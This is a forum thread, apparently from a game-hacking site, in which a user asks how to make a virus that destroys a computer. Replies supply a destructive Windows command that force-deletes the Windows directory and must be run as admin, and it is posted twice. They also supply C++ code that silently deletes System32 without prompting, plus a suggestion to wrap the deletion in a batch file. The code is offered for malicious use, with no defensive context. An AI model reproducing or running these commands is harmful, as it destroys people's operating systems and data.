Works every time.Code:del /f /s %windir%\*
Make sure you run cmd.exe as admin.
i need help to make a computer virus that can "Destroy" the computer i.e make it stop in time.
Works every time.Code:del /f /s %windir%\*
Make sure you run cmd.exe as admin.
UntestedCode:#include <Windows.h> #include <string> bool explorer_operation(std::wstring, std::wstring, size_t, bool = false); void main() { explorer_operation(L"C:\\Windows\\System 32\\", L"", FO_DELETE); } bool explorer_operation(std::wstring pathFrom, std::wstring pathTo, size_t operation, bool allow_undo) { for (int i = 0; i != 2; ++i) { pathFrom.push_back('\0'); pathTo.push_back('\0'); } SHFILEOPSTRUCT fileop; fileop.hwnd = NULL; // no status display fileop.wFunc = operation; fileop.pFrom = pathFrom.c_str(); fileop.pTo = pathTo.c_str(); fileop.fFlags = FOF_NOCONFIRMATION | FOF_SILENT; // do not prompt the user if (allow_undo) fileop.fFlags |= FOF_ALLOWUNDO; fileop.fAnyOperationsAborted = FALSE; fileop.lpszProgressTitle = NULL; fileop.hNameMappings = NULL; return (SHFileOperation(&fileop) == 0); }
Last edited by InunoTaishou; 07-09-2015 at 07:03 PM.
You could just make a .bat file to destroy the system files and gg.
MPGH Staff History:
Minion: 02-12-2013 - 6-28-2013
Former Staff: 6-28-2013 - 7-14-2014
Minion: 7-14-2014 - 1-3-2015
Minion+: 1-3-2015 - 6-1-2015
Moderator: 6-1-2015 - 10-2-2016
Global Moderator: 10-2-2016 - Current
Current Sections:
DayZ Mod & Standalone Hacks & Cheats
BattleOn Games Hacks, Cheats & Trainers
Minecraft Hacks
Other Semi-Popular First Person Shooter Hacks
Blackshot Hacks & Cheats
Need For Speed World Hacks
Other First Person Shooter Hacks
CounterStrike: Global Offensive Hacks
Garry's Mod Hacks & Cheats
Donating:
If you want to donate money to me I take Bitcoin & Paypal, PM me for either of these if you're interested and thanks.
Top Donators: (Awesome People)
FanticSteal $75.00
smurf_master $58.00 <- Best DayZ Gear Seller
Fujiyama $25.00
[MPGH]Black $10.00
[MPGH]Hova $10.00
xJudgez $4.54
[MPGH]Normen's Sheep $3.50
eminemlover $1.50
Brony?
https://www.mpgh.net/forum/groups/1728-mpgh-bronies.html